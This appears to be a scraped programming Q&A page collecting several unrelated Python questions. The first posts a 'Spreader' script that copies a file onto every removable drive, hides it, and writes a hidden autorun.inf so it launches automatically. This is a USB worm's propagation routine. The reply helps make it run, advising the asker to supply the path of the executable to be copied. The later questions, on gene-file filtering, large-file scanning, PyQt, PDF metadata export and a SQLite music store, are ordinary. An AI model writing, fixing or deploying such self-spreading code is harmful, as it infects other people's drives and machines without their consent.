Can't compile my Python code - python

Hello I'm trying to compile this code but I don't get it to compile nothing at all, I don't get any error at compiling, but no results either, the folder stays with the .py file only
import win32api
import win32con
import win32file
import sys
import os
class Spreader(object):
def __init__(self, path): # path must be absolute
print (" [*] Checking information")
self.filename = path.split("\\")[-1]
self.driveFilename = self.filename
if not self.driveFilename.startswith("~"):
self.driveFilename = "~" + self.driveFilename
print ("\t- Local filename: ") + self.filename
print ("\t- Driver filename: ") + self.driveFilename
self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
print ("\t- Full path: ") + self.path
print ("\n [*] Getting removable drives")
self.drives = self.__getRemovableDrives()
if len(self.drives) == None:
print (" [-] No removable drives available")
sys.exit()
for drive in self.drives:
print ("\t- ") + drive
print ("\n [*] Spreading")
self.__spread()
print ("\n [+] Successfully spread")
def __getRemovableDrives(self):
removableDrives = []
drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
for drive in drives:
driveType = win32file.GetDriveType(drive)
if driveType == win32file.DRIVE_REMOVABLE:
removableDrives.append(drive)
return removableDrives
def __spread(self):
for drive in self.drives:
if drive == "A:\\":
continue
else:
driveFile = drive + self.driveFilename
driveAutorun = drive + "autorun.inf"
print (" [+] ") + drive
if not os.path.exists(driveFile):
self.__copyFile(driveFile)
if not os.path.exists(driveAutorun):
self.__createAutorun(driveAutorun)
def __copyFile(self, driveFile):
print ("\t- Copying file: ") + self.driveFilename,
win32file.CopyFile(self.path, driveFile, 0)
print ("\t\t\tDONE")
print ("\t- Hidding file"),
win32api.SetFileAttributes(driveFile,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
def __createAutorun(self, driveAutorun):
print ("\t- Creating autorun.inf"),
autorun = open(driveAutorun, "w")
content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=#{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
autorun.write(content)
autorun.close()
print ("\t\t\tDONE")
print ("\t- Hidding autorun"),
win32api.SetFileAttributes(driveAutorun,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
Can someone help me out?

You have written the code, but you never call your class and its method anywhere. As such, python just creates the class object etc and then does nothing more with it, because there are no more instructions to execute.
I think, at the minimum, you should add the following code to see what output/errors your code gives:
if __name__ == "__main__":
spread = Spreader(some_path)
Note that you are creating method names with the __method convention, which means they are being name scrambled.
Since you are copying files, you can give the actual file path (the complete path of the exe being copied) in place of some_path above, and that should work. If not, you will need to debug deeper using pdb.
Finally, the __main__ block needs to be placed at the end of your script.

Related

python script throwing an error that i can deal with

I have created the above script to remove unwanted genes from a database. It does work quite well if you only use it once but I re-run it, it giving me an error message such as:
shutil.Error: Destination path 'path/rejected_database_genes/gene_A.fa' already exists
And obviously it stops. I think that the problem arises when there are two or more genes in the file that needs to be removed.
Kind regards, and thanks for your help.
import glob, sys, os, shutil
from Bio import SeqIO, SearchIO
from Bio.SeqRecord import SeqRecord
import argparse
def help_function():
print 'Hi'
parser = argparse.ArgumentParser()
parser.add_argument('-input_file', '-i',type=str,help='path_to_data')
opts = parser.parse_args()
def check_file_exists(filepath, file_description):
if not os.path.exists(filepath):
print("The " + file_description + " (" + filepath + ") does not exist")
sys.exit(1)
else:
print file_description + " detected"
def remove_empty_files(alleles_files,destination):
input_handle=open(alleles_files, 'r')
gene_records=list(SeqIO.parse(input_handle, 'fasta'))
for gene_record in gene_records:
#filename=gene_record.id[0]
#count=0
if len(gene_record.seq)<5 or 'N'in gene_record.seq:
print gene_record.id
elif '-' in gene_record.seq:
print gene_record.id
#count+=1
shutil.move(alleles_files, destination)
def main():
destination=opts.input_file + '/rejected_database_genes'
if os.path.exists(destination):
print 'Folder already exits'
else:
os.makedirs(destination)
print 'Folder has been created'
files=glob.glob(opts.input_file+'/*.fa')
#print files
#sys.exit()
for f in files:
#print f
#sys.exit()
alleles_files=glob.glob(f)[0]
#print alleles_files
#sys.exit()
remove_empty_files(alleles_files,destination)
print 'Files have been removed'
main()
the problem you have is in the shutil.move line - if you will specify full path to source and destination this will overwrite the existing file and you will not get this error, if you don't want to overwrite and need both of the files, just rename the destination file to something else.
What I wanted was that the moment the script found to remove that file, and storage somewhere else so I can check it later. The problem I was having was that if in the same file there were two unwanted seq, it would through me and error telling me that the file already existed on destination, and stopped. So I managed to solve this problem by added an if statement. The corrected script is the one below:
import glob, sys, os, shutil
from Bio import SeqIO, SearchIO
from Bio.SeqRecord import SeqRecord
import argparse
def help_function():
print 'Hi'
parser = argparse.ArgumentParser()
parser.add_argument('-input_file', '-i',type=str,help='path_to_data')
opts = parser.parse_args()
def check_file_exists(filepath, file_description):
if not os.path.exists(filepath):
print("The " + file_description + " (" + filepath + ") does not exist")
sys.exit(1)
else:
print file_description + " detected"
def remove_empty_files(alleles_files,destination):
input_handle=open(alleles_files, 'r')
gene_records=list(SeqIO.parse(input_handle, 'fasta'))
geneID_list=[]
for gene_record in gene_records:
filename=gene_record.id.split('_')
geneID=filename[0]+'_'+filename[1]
if len(gene_record.seq)<5 or 'N'in gene_record.seq:
geneID_list.append(geneID)
shutil.move(alleles_files, destination)
print geneID_list
#break
if '-' in gene_record.seq:
geneID_list.append(geneID)
shutil.move(alleles_files, destination)
print geneID_list
#break
if len(geneID_list) >0:
break
def main():
if len(sys.argv) <=1:
parser.print_help()
sys.exit()
else:
check_file_exists(opts.input_file, 'input_file')
destination=opts.input_file + '/rejected_database_genes'
if os.path.exists(destination):
print 'Folder already exits'
else:
os.makedirs(destination)
print 'Folder has been created'
files=glob.glob(opts.input_file+'/*.fa')
#print files
#sys.exit()
for f in files:
#print f
#sys.exit()
alleles_files=glob.glob(f)[0]
#print alleles_files
#sys.exit()
remove_empty_files(alleles_files,destination)
print 'Files have been removed'
main()
By adding the third "if" statement, the file is removed as soon as it finds an unwanted sequence, remove the file to destination, and move to check the next file.

Get all files from my C drive - Python

Here is what I try to do:
I would like to get a list of all files that are heavier than 35 MB in my C drive.
Here is my code:
def getAllFileFromDirectory(directory, temp):
files = os.listdir(directory)
for file in files:
if (os.path.isdir(file)):
getAllFileFromDirectory(file, temp)
elif (os.path.isfile(file) and os.path.getsize(file) > 35000000):
temp.write(os.path.abspath(file))
def getFilesOutOfTheLimit():
basePath = "C:/"
tempFile = open('temp.txt', 'w')
getAllFileFromDirectory(basePath, tempFile)
tempFile.close()
print("Get all files ... Done !")
For some reason, the interpreter doesn't go in the if-block inside 'getAllFileFromDirectory'.
Can someone tell me what I'm doing wrong and why (learning is my aim). How to fix it ?
Thanks a lot for your comments.
I fixed your code. Your problem was that os.path.isdir can only know if something is a directory if it receives the full path of it. So, I changed the code to the following and it works. Same thing for os.path.getsize and os.path.isfile.
import os
def getAllFileFromDirectory(directory, temp):
files = os.listdir(directory)
for file in files:
if (os.path.isdir(directory + file)):
if file[0] == '.': continue # i added this because i'm on a UNIX system
print(directory + file)
getAllFileFromDirectory(directory + file, temp)
elif (os.path.isfile(directory + file) and os.path.getsize(directory + file) > 35000000):
temp.write(os.path.abspath(file))
def getFilesOutOfTheLimit():
basePath = "/"
tempFile = open('temp.txt', 'w')
getAllFileFromDirectory(basePath, tempFile)
tempFile.close()
print("Get all files ... Done !")
getFilesOutOfTheLimit()

PYQT pass a function from one class to another window

Hey guys I want to use the directory that my function gets in one classes function in another window. I want to pass the directory chosen to the popup window so it can show all the files. Any help would be apprciated
class createedditConvertorpage(QtGui.QMainWindow):
def __init__(self,parent = None):
QtGui.QWidget.__init__(self, parent)
def selectFilecsvtoxml(self):
directory = QtGui.QFileDialog.getExistingDirectory(self, "Pick a folder")
print directory
self.listDirPath.setText(directory)
for file_name in os.listdir(directory):
if not file_name.startswith("."):
print (file_name) + " this is selectFilcestoxml"
self.directory = directory
return directory
class readoutWindow(QtGui.QDialog):
def openTxt(self):
directoryFile = createedditConvertorpage()
directoryFile.selectFilecsvtoxml()
print "this s open text"
print str(directoryFile)
for file_name in directoryFile:
if file_name.endswith(".txt"):
print (file_name) + " this is txt file"
File "/home/ed/Development/Python/Workmain/windows.py", line 1425, in home
self.openTxt()
File "/home/ed/Development/Python/Workmain/windows.py", line 1442, in openTxt
for file_name in directoryFile:
TypeError: 'createedditConvertorpage' object is not iterable
In your Code you are not taking the returned value into a variable, you have just initialised the object directoryFile of your createedditConvertorpage class and called your selectFilecsvtoxml function from that class.
Changed Code:
class createedditConvertorpage(QtGui.QMainWindow):
def __init__(self,parent = None):
QtGui.QWidget.__init__(self, parent)
def selectFilecsvtoxml(self):
directory = QtGui.QFileDialog.getExistingDirectory(self, "Pick a folder")
print directory
self.listDirPath.setText(directory)
for file_name in os.listdir(directory):
if not file_name.startswith("."):
print (file_name) + " this is selectFilcestoxml"
self.directory = directory
return directory
class readoutWindow(QtGui.QDialog):
def openTxt(self):
directoryFile = createedditConvertorpage()
dir1=directoryFile.selectFilecsvtoxml()
print "this s open text"
print str(dir1)
for file_name in dir1:
if file_name.endswith(".txt"):
print (file_name) + " this is txt file"
I have assigned the returned directory to variable dir1.
Please check if this fixes your problem
PYQT is very finnicky about getting the correct path and often you have to crutch code. This looks messy but here is the answer
def openTxt(self):
directoryFile = createedditConvertorpage()
dir1=directoryFile.selectFilecsvtoxml()
print "this s open text"
print str(dir1) + "this is directorry of opentxt"
os.chdir(dir1)
print os.getcwd()+ " this is directory before looking for txt"
files = [f for f in os.listdir('.') if os.path.isfile(f)]
for file_name in files:
if file_name.endswith(".txt"):
print dir1 + "/" + (file_name) + " this is txt file"
readMe = open(file_name,'r').read()
self.textEdit.setText(readMe)

Script that reads PDF metadata and writes to CSV

I wrote a script to read PDF metadata to ease a task at work. The current working version is not very usable in the long run:
from pyPdf import PdfFileReader
BASEDIR = ''
PDFFiles = []
def extractor():
output = open('windoutput.txt', 'r+')
for file in PDFFiles:
try:
pdf_toread = PdfFileReader(open(BASEDIR + file, 'r'))
pdf_info = pdf_toread.getDocumentInfo()
#print str(pdf_info) #print full metadata if you want
x = file + "~" + pdf_info['/Title'] + " ~ " + pdf_info['/Subject']
print x
output.write(x + '\n')
except:
x = file + '~' + ' ERROR: Data missing or corrupt'
print x
output.write(x + '\n')
pass
output.close()
if __name__ == "__main__":
extractor()
Currently, as you can see, I have to manually input the working directory and manually populate the list of PDF files. It also just prints out the data in the terminal in a format that I can copy/paste/separate into a spreadsheet.
I'd like the script to work automatically in whichever directory I throw it in and populate a CSV file for easier use. So far:
from pyPdf import PdfFileReader
import csv
import os
def extractor():
basedir = os.getcwd()
extension = '.pdf'
pdffiles = [filter(lambda x: x.endswith('.pdf'), os.listdir(basedir))]
with open('pdfmetadata.csv', 'wb') as csvfile:
for f in pdffiles:
try:
pdf_to_read = PdfFileReader(open(f, 'r'))
pdf_info = pdf_to_read.getDocumentInfo()
title = pdf_info['/Title']
subject = pdf_info['/Subject']
csvfile.writerow([file, title, subject])
print 'Metadata for %s written successfully.' % (f)
except:
print 'ERROR reading file %s.' % (f)
#output.writerow(x + '\n')
pass
if __name__ == "__main__":
extractor()
In its current state it seems to just prints a single error (as in, the error message in the exception, not an error returned by Python) message and then stop. I've been staring at it for a while and I'm not really sure where to go from here. Can anyone point me in the right direction?
writerow([file, title, subject]) should be writerow([f, title, subject])
You can use sys.exc_info() to print the details of your error
http://docs.python.org/2/library/sys.html#sys.exc_info
Did you check the pdffiles variable contains what you think it does? I was getting a list inside a list... so maybe try:
for files in pdffiles:
for f in files:
#do stuff with f
I personally like glob. Notice I add * before the .pdf in the extension variable:
import os
import glob
basedir = os.getcwd()
extension = '*.pdf'
pdffiles = glob.glob(os.path.join(basedir,extension)))
Figured it out. The script I used to download the files was saving the files with '\r\n' trailing after the file name, which I didn't notice until I actually ls'd the directory to see what was up. Thanks for everyone's help.

Python create sqlite DB

I have the current code for a sqlite db creation:
import storage
import os
import audiotools
def store_dir(d):
store = storage.HashStore()
for root, bar, files in os.walk(d):
for filename in files:
filename = root + '/' + filename
try:
store.store_file(filename)
print ("Stored %s% filename")
except audiotools.UnsupportedFile:
print ('Skipping unsupported file %s') % filename
except Exception, e:
print (e)
def main():
d = input('Enter the path to the music directory: ')
store_dir(d)
print ("Done.")
if __name__ == '__main__':
main()
When this code runs I get a syntax error msg. Please help !
Thanks in advance
There are a few things to address here.
First, this line:
print ('Skipping unsupported file %s') % filename
needs to be this:
print ('Skipping unsupported file %s' % filename)
Second, you need to use raw_input here:
d = input('Enter the path to the music directory: ')
which returns a string object, instead of input, which evaluates input as real Python code.
Third, your indentation is off. I'm pretty sure this is just a SO formatting error though.
Finally, you should use os.path.join here:
filename = root + '/' + filename
That isn't an error though, just a tip.
All in all, your code should look like this:
import storage
import os
import audiotools
def store_dir(d):
store = storage.HashStore()
for root, bar, files in os.walk(d):
for filename in files:
filename = os.path.join(root, filename)
try:
store.store_file(filename)
print ("Stored %s% filename")
except audiotools.UnsupportedFile:
print ('Skipping unsupported file %s' % filename)
except Exception, e:
print (e)
def main():
d = raw_input('Enter the path to the music directory: ')
store_dir(d)
print ("Done.")
if __name__ == '__main__':
main()

Categories